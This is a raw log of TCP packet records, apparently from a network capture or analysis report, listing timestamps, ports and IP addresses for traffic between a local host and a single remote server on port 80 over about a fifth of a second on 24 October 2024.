Oct 24, 2024 19:29:29.299067974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299346924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299362898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299377918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299401999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299412966 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299418926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299432993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299436092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299453974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299469948 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299552917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299567938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299586058 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299591064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299608946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299626112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299634933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299643040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299653053 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299701929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299716949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299731016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299736023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299755096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299762011 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299772978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299788952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299807072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299820900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299824953 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299838066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299849033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299854994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299870014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.299873114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.299927950 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300059080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300075054 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300088882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300103903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300105095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300122023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300136089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300148964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300151110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300168037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300179958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300193071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300208092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300224066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300244093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300244093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300283909 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300312996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300328970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300343990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300359964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300374985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300374985 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300393105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300405979 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300411940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300525904 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300620079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300642967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300657988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300673962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300689936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300692081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300707102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300723076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300723076 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300740004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300751925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300755978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300774097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300786018 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300789118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300813913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300823927 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300832033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300847054 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300863981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300864935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300880909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300894022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300949097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300964117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300970078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300978899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.300990105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.300996065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301013947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301042080 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.301095009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301110983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301125050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301129103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.301141024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301151991 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.301157951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301175117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301189899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301191092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.301207066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301220894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.301223993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301240921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301337957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301352978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301368952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301381111 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.301386118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.301413059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.301635027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415132046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415206909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415262938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415344000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415380955 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415400982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415436983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415452957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415505886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415539980 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415579081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415591955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415627003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415631056 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415659904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415698051 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415709972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415747881 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415781975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415786028 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415832996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415865898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415889025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415904999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415935993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415937901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.415971994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.415991068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416008949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416059017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416091919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416098118 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416130066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416179895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416205883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416210890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416261911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416271925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416280031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416313887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416327000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416349888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416368961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416379929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416414022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416448116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416480064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416481972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416513920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416524887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416548014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416583061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416589975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416618109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416646004 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416655064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416688919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416723013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416755915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416790009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416790962 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416822910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416856050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416888952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416891098 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416923046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416956902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.416958094 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.416990995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417020082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417020082 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.417052984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417068958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.417088032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417120934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417124033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.417155027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417185068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.417188883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417224884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417253971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417294025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417294979 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.417320967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.417327881 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417363882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.417396069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.456732988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.456821918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.456862926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.456878901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.456916094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.456947088 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.456959009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.456995010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457050085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457087994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457087994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457120895 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457124949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457158089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457191944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457226038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457231998 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457258940 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457259893 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457300901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457334042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457336903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457367897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457397938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457418919 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457432032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457467079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457470894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457496881 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457530022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457531929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457566023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457601070 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457609892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457643986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457680941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457695007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457730055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457762957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457766056 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457796097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457832098 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457847118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457899094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457932949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.457936049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.457969904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458003044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458004951 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458059072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458093882 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458111048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458144903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458178997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458187103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458233118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458267927 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458285093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458318949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458353996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458359957 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458405018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458440065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458441019 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458473921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458508968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458518982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458543062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458556890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458578110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458611012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458662033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458693027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458698034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458714008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458734035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458765984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458817005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458851099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458884954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458887100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.458921909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458957911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458991051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.458996058 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459021091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459024906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459059954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459093094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459095001 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459126949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459161043 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459193945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459228039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459233046 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459261894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459297895 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459337950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459377050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459413052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459429979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459464073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459501028 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459521055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459558010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459589005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459592104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459634066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459666967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459701061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459716082 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459733963 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459736109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459770918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459804058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459836006 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459837914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459872961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459892988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459907055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459927082 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.459942102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.459974051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460005999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460038900 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.460038900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460076094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460078955 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.460114002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.460139990 CEST	49725	80	192.168.2.5	185.215.113.16
